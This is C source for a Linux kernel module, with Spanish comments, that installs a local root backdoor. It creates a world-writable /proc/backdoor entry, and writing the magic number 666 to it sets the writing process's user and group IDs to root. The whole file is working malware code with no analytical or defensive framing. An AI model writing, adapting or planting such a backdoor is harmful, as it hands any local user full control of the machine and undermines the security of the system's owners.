#define BACKDOOR_NAME   "backdoor"
#define ACCESSNUMBER    666

#include <linux/module.h>
#include <linux/sched.h>
#include <linux/proc_fs.h>
#include <asm/uaccess.h>


/* El usuario lee el contenido de /proc/BACKDOOR_NAME */
static int on_read (char *buffer, 
                    char **start, 
                    off_t offset, 
                    int length) {
   return 0;
}


/* El usuario modifica el contenido de /proc/BACKDOOR_NAME */
static int on_write (struct file *file, 
                     const char *buffer,
                     unsigned long count, 
                     void *data) {

   unsigned long val = 0;
   char buf[10];
   char *endp;

   if (count > sizeof(buf))
      return -EINVAL;
   if (copy_from_user(buf, buffer, count))
      return -EFAULT;
   val = simple_strtoul(buf, &endp, 10);
   if (*endp != '\n')
      return -EINVAL;

   /* Si el numero es correcto es usuario se convierte en root */
   if (val == ACCESSNUMBER) {

      current->uid = 0;
      current->gid = 0; 
      current->euid = 0;
      current->egid = 0;
   }
   
   return count;
}


/* Inicializacion del modulo */
static int __init backdoor_init(void) {

   struct proc_dir_entry *proc_backdoor;

   /* Crea un archivo en el sistema de ficheros proc  */
   proc_backdoor = create_proc_info_entry(BACKDOOR_NAME, 00007, 0, on_read);
   if (!proc_backdoor) {

      printk (KERN_ERR "Error al crear" BACKDOOR_NAME "\n");
      remove_proc_entry(BACKDOOR_NAME, 0);
      return -ENOMEM;
   }

   /* Asigna la funcion que se ejecutara cuando el usuario escriba en nuestro
      archivo */
   proc_backdoor->write_proc = on_write;

   return 0;
}

/* Salida del modulo */
static void __exit backdoor_exit(void) {

   remove_proc_entry(BACKDOOR_NAME, 0);
}


/* Carga/Descarga de modulos */
module_init(backdoor_init);
module_exit(backdoor_exit);
MODULE_LICENSE("GPL");


